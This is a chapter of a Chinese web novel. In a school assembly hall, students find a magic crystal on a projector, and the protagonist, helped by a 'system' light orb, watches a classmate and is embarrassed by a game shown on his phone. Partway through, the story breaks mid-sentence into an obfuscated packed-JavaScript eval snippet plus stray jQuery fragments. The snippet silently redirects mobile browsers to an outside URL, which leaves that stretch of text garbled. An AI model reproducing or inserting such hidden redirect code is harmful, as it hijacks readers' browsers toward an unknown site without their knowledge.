舞台一边的帷幕后，一副灰黄色的竹梯被人抬了出来。


    竹梯的款式很老，两根长竹子中间串上十几根踩脚的横梁，每一节横梁上还都积着厚厚的落灰，一看就是从犄角旮旯里翻出来的。但它非常，非常地长，能从舞台一头横到另一头。


    不止林衡，礼堂里所有人的目光都被吸引过去。


    “老刘，你们在做什么？”台下有人喊道。


    “投影仪上有东西，我们上去看看。”


    为首的老刘一边喊大家小心让路，一边指着礼堂正中央，天花板上垂吊下来的大型投影仪说道。


    看胸口标签牌，搬梯子的人都是2班的。


    他们想将梯子运到观众席去，却在怎么把梯子搬下舞台时犯了难。十多米长的竹梯，光是抬起来就需要前中后至少三个人，横过来竖过去时容易顾头不顾尾，一点都不灵活。很快有不少人看不过眼，主动围过去帮忙。


    舞台上一下子多了很多黑校服的学生。有人跳起来去看老刘指的投影仪：“真的，上面真的有东西！”


    “在哪在哪？”


    “要到舞台上来，下面看不到。”


    “我看到了！一个黑布袋。不过那玩意和我们有关系吗？”


    ……


    长长的竹梯很快被运到了投影仪下方，被几人合力竖起来，一端凑近了天花板。


    有人想踩着梯子爬上去，发现单一架梯子支撑不够，试了两下就放弃了。于是他们高高举着梯子，不断变换着位置，想用梯子把投影仪上的东西打下来。最后他们踩到木椅上，以一个极其刁钻的角度举起梯子，够到了吊式投影仪的正上方。


    在礼堂内所有人的仰视下，一个小小的黑色布袋从投影仪上啪地掉了下来，被早就等在正下方的人双手接住。


    沉寂三秒，接住袋子的人高高举起一块红色的石头：


    “是魔晶石！我们猜对了，是魔晶石！”


    举梯子的人们爆发出一阵欢呼，老刘站在椅子上，红着脸满头大汗，大声喊道：


    “大家都看到了吗？就是这块石头在吸引魔兽！


    “学校故意把它放在投影仪上，让通风系统将魔晶石的味道送上舞台，好让血牙犬聚集在舞台上！”


    魔晶石，课本上说它是一种来自异世界的珍贵矿物，能发出普通人闻不到的气味，对魔兽有天然吸引力。


    最开始进入礼堂的血牙犬大多都跑到了舞台上，没有主动攻击学生们。唯一爬上观众席高处的停留在了离投影仪直线距离最近的位置，到处嗅闻着寻找东西。


    同学们就此纷纷议论起来，很多人听了老刘的解释，跑上舞台去感受从天花板高处吹过来的空调冷风。


    林衡混在人群里跟着上舞台感受了一下。转头间，他发现光球又进入了高速运转状态，亮成了一个红色大灯泡。


    “怎么了系统？又有剧情错误了？”


    “不算重大错误。”系统的声调还是那么死板平淡，“察觉到血牙犬的异常，注意到礼堂内的通风系统，最后找到投影仪上的魔晶石，这本来应该是陈素鸢的高光剧情。


    “她拥有控风异能，对风向很敏感，按理应该比其他人更早发现才对，现在却被背景板的路人抢走了戏份。我正在思考怎么处理。”


    林衡觉得抢戏份的说法不大妥当。


    血牙犬的异状，当时礼堂里所有人都看到了。站上舞台后，空调的风向是打哪儿来的，谁都能感觉得到。只要身高不是特别矮，站在舞台上往天花板方向看看，很容易就能看到投影仪上的东西。


    也就是说，发现魔晶石，和是否拥有控风异能没有必然的联系。


    要不是林衡一直在观众席上摸鱼，没有认真思考血牙犬为何聚集的问题，他觉得自己也能发现投影仪上的黑布袋。


    但林衡也知道，即使他发现了黑布袋，也极有可能因为东西放得太高了够不到，进而认为它和演习无关，把注意力放回到礼堂外的魔兽上。老刘他们几个能联合起来，费大工夫找来梯子去够一个不确定的东西，林衡还挺佩服他们的。


    “系统，原剧情里陈素鸢发现投影仪上有东西后，是怎么把黑布袋拿下来的？”


    “让云啸用飞剑打下来。这也是原剧情中，玩家和卡池角色陈素鸢的第一次正式互动。”


    “有异能就是方便啊……”林衡忍不住感慨。


    “还好，这一次不需要宿主插手。”


    光球说着，慢慢变回平时的亮度，


    “郭栋他们把魔晶石放在够不到的投影仪上，本意也没打算让学生们发现。找到魔晶石也不会影响外面的魔兽，只是让角色陈素鸢少了一小段展示她才智的高光而已。


    “陈素鸢在主角团里是学者定位，还有解说魔晶石，帮忙封印的戏份，屏幕时长足够。”


    它这么说的同时，顾俊文和陈素鸢同时走向拿到魔晶石的人群，开始处理后续。


    系统表示不需要插手，林衡也乐得清闲。他继续做他的背景板，跟左右一起给二班老刘他们起哄。


    没过几分钟，王成等人抱着大捆木棍，拎着一包包铁枪头从帷幕后走出来，他们喊大家一起帮忙想想怎么把枪头装到木棍上。俗话说三个臭皮匠赛过诸葛亮，礼堂里那么多人，肯定能有些主意。


    林衡过去帮他们搬东西，顺路去后台转了转。


    后台有很多门都是锁上的，几扇能开的门里不是工具间就是道具室，一眼看过去都是灰。有些人望而却步，有些人捂着嘴去揭蒙尘布，寻找着能用的东西。


    “嘿，这里有个工具箱！里面有锤子钉子！”


    “太好了，快拿出来，小心脚下。”


    “让我看看让我看看。东西稍微有点锈，但还能用。”


    “四班老丁家里是开工厂的，很会打螺丝，我去喊他。”


    ……


    林衡跟着他们回到舞台。


    地板上到处都是木棍和七零八落的枪头，能下脚的地方都站满了人。他们都一手拿着木棍，一手拿枪头，试着把枪头卡上棍子。还有些女生拿着不知从哪儿来的布条，一圈圈绕着想把枪头固定住。


    找到工具箱的同学很快被簇拥起来，到处都很热闹。


    “宿主，钢蹦上台了。另外，主角组已经离开礼堂和校方会和，距离第二批队伍出发还有10分49秒。预测钢蹦不会加入第二批队伍。”


    人群的外围，舞台的边角处，几个灰校服也在研究怎么修复长枪。钢蹦站在离他们稍远的位置，用球鞋的鞋尖踢着地上破碎的枪头。


    林衡向他们走去。


    他本想站到钢蹦附近，装出低头研究的模样，用余光注意他的动静。但后者好像对周围人的视线非常在意，一直在左看右看。注意到有人过来，他一扭头，就和林衡对上了视线。


    林衡装出没看到的样子，在满地乱滚的铁枪头中寻找下脚的地方，走到钢蹦正对面，靠到了墙边。


    然后，他拿出手机，点开界面上的红球app。


    “系统，帮我直播下他在做什么吧。”林衡心道。


    光球按着指示，飘到钢蹦正前方。同时林衡的手机里，出现了一张紫发黑眉的大脸。


    这是林衡昨天和系统商量好的。执行任务的时候，只要林衡有需要，光球可以做他的摄像头，将其他地方正在发生的事直播到手机。前提是他和光球之间的距离不能太远，也不能隔墙。


    这个方法胜在灵活，林衡可以随时指挥系统调整摄像角度。要是他想知道更远地方发生的事情，系统还能帮他连接附近的监控探头。


    所有这一切都通过红球app进行。当林衡使用app的时候，其他人若是看到了他的手机，只会以为他在玩游戏。


    林衡靠着墙，聚精会神地看起了手机。根据系统的直播画面，钢蹦最开始对他有点警惕。发现林衡一直在盯着手机看之后，他放心地蹲了下来，开始认真打量起地上的坏枪头。


    在黑眉毛和蓝紫轮廓的炫彩美瞳加持下，他的表情总给人一种奇怪的滑稽感。


    “林衡，你在这儿啊。”


    林衡正思考着钢蹦的任务，肩膀忽然被人拍了拍。回头一看，是王成。


    “你在玩游戏？”


    王成看了眼他的手机屏幕，又迅速移开视线，看向热闹的舞台。


    他耳朵发红，不敢和林衡对视。


    “那啥，我得和你道个歉。把东西藏起来确实没啥好处，是我不够大气。敢和我叫板，你是有点东西的……品味也不错。”


    话一说完，不等林衡回答，王成飞也似的走开了。


    整个过程连三十秒都不到。


    林衡看到他的背影，才反应过来：王成竟然是在为之前藏武器的事和他道歉。


    那件事林衡根本没往心里去。虽说和王成杠上的时候他是有些热血上头，可能看上去有些凶，但他脾气其实很好，一般有什么事吐槽两句就过去了。


    王成特意单独来找他道歉，觉得不好意思还走得那么快。林衡觉得其实没那个必要。


    下次拉他吃顿饭解释下吧。林衡心想。


    不过王成最后那句是在说什么，什么品味？


    他还没来得及多想，正前方的钢蹦忽然站了起来。


    可能是被突然跑来的王成惊动了，他像只受惊的兔子一样，两只眼睛左右乱瞟，看看玩手机的林衡，看看舞台上的人，又回过头去看看其他字母班的同学。


    当然，他看不到一直飘在他眼门前的光球。


    林衡端详着钢蹦同学的表情，感觉他好像有些心虚，又有些纠结，一副想做什么又不敢做的样子。


    他有种不好的预感。


    “好耶，成功啦！”


    就在这时，不远处因工具箱聚集起来的人群传来欢呼。


    有人高高举起一把长枪，在空中挥舞，枪头和木棍的连接部位订着几个戳出来的长铁钉。看上去是摸索出了用钉子固定枪头的方法。


    “没有关系，他们没法抢走钢蹦的高光剧情。”系统主


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11983223|127808||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    动说道，“榔头只有两把，枪头的破损程度不一样，他们平均每五分钟才能修好一把长枪。钢蹦的异能更有销路。”


    林衡感觉到了压力：“但问题是，钢蹦同学不肯用异能啊。”


    按照系统的说法，在原剧情里，钢蹦会为了接近舟娅和主角团搭话，约定一起调查墨水怪物。而现在，钢蹦同学一直没有凑过去搭话，只远远看着舟娅。


    不知为何，钢蹦一点都不向系统说的那样主动。他只是站在那儿，顾忌着周围人的眼神，好像生怕被人看到他对长枪感兴趣似的。


    “他要是一直这样不行动，我根本没有插手的理由。我只是一个普通路人，根本不认识钢蹦……不认识？”


    林衡说着说着，忽然有了主意。


    “系统，你有他中学同学的资料吗？或者家里远亲的资料也行。我可以装作他熟人的朋友，和他撘关系问问情况。”


    “稍等……请宿主接收数据。”


    林衡退掉直播画面，重新打开红球app，看到了系统整理的资料文档。文档前几页写的都是钢蹦的中学同学，每个人父母的职业，和钢蹦关系如何……林衡快速浏览着，琢磨该给自己安一个什么样的身份。


    不巧的是，他还没看进去多少，又有人过来找他。


    “林衡，先遣队成功离开礼堂了。”


    来人是岳小伍。


    “学校让那个负责通讯的男生传回了讯息，我们剩下的人还是得自己离开，出去时还有可能碰到魔兽。”


    林衡装作刚从游戏里回神的样子，迅速切换状态。


    “是吗，太好了！”他衷心道，“你们画的地图肯定能派上大用场！”


    岳小伍高兴地点了点头：“最早你说要分批离开的时候，我还有些糊涂，现在一切都明朗起来了。我们不一定要被动地接受异能者们的指挥和保护，我们还有很多能做的事情！”


    能和朋友达成共识总是愉快的，林衡也高兴起来。


    “其实我当时没想很多，只想到大家可以一起拿木棍阻挡魔兽罢了。”他说道，“根据传回来的消息画地图也好，找到投影仪上的魔晶石也好，群策群力修复长枪也好，只要行动起来，我们不比字母班的人差！”


    岳小伍跟着猛点头。


    他还想要说什么，眼睛无意识地往下看了一眼，忽然愣住了。


    “怎么了？”


    林衡顺着岳小伍的目光看去，看到了自己不经意间举起来的手机。


    “你，在玩游戏？”岳小伍茫然发问。


    “嗯……是啊，我看好像没什么能做的，跑到角落里来摸个鱼。”林衡说道。


    虽然在大家忙碌的时候，跑到一边来打游戏有些尴尬，但林衡心里还是庆幸系统有帮他做掩护。


    打游戏就打游戏呗，要是岳小伍过来，看到正盯着手机的新朋友慌忙熄屏，肯定会心里犯嘀咕。以后次数多了，反而容易起嫌隙。


    “你……很喜欢玩游戏吗？”


    好像怕自己说错话似得，岳小伍小心翼翼地打量着林衡的脸色，问道。


    “……没错。”林衡保持着尴尬的微笑，咬牙道，“我一天不玩就浑身发痒。”


    岳小伍迷惑又震惊地望向林衡，又看向他的手机，神情恍惚：“……在这种情况下你还能玩得进去，也挺厉害的。”


    不等林衡说什么，他转过身，挠着头走开了。


    林衡被自己尬地脚趾抠地，同时又有些奇怪：看到他在玩游戏后，岳小伍的反应是不是差得有点多？


    没等他想到怎么回事，又见一人匆匆走来。


    是顾俊文：“林衡，马上就要分出第二批离开的人了。除了之前讨论过的，你还有什么想法吗？”


    顾俊文刚一站定，就开门见山地发问，同时习惯性地伸出手去扶眼镜。


    他的手忽然顿在半空，淡色的眼瞳瞪得极大，直直地看向林衡的手机屏幕。


    “额……”林衡一时也不知道说什么好。


    他决定不提游戏，直接就事论事：“暂时没什么想法，我会留到最后一批再走的。”


    顾俊文像是没听到似的，深吸两口气，指向林衡的手机。


    “没想到你居然喜欢这种玩意……”他皱起了眉头，声音带着一丝怒气，“真没志气，是我看错你了！”


    说完，他转身就走。


    林衡终于回过味来，不可置信地看向自己的手机屏幕。


    “系统！你给我放的什么游戏，不是俄罗斯方块吗？”


    “没什么，就是普通的二游啊。”


    随着光球的回答，林衡看着屏幕上白底黑字的文档资料出现了花屏。两秒后，黑白沙粒的花屏变成了一张带对话框的，饱和度超高的彩色游戏界面。


    界面里，三四个不同风格，前凸后翘的二次元泳装波霸熟女，正对着屏幕外的人热情招手。


    林衡看着她们，双手不住地颤抖，差点没抓住手机。


    “系统，你为什么要这么对我！”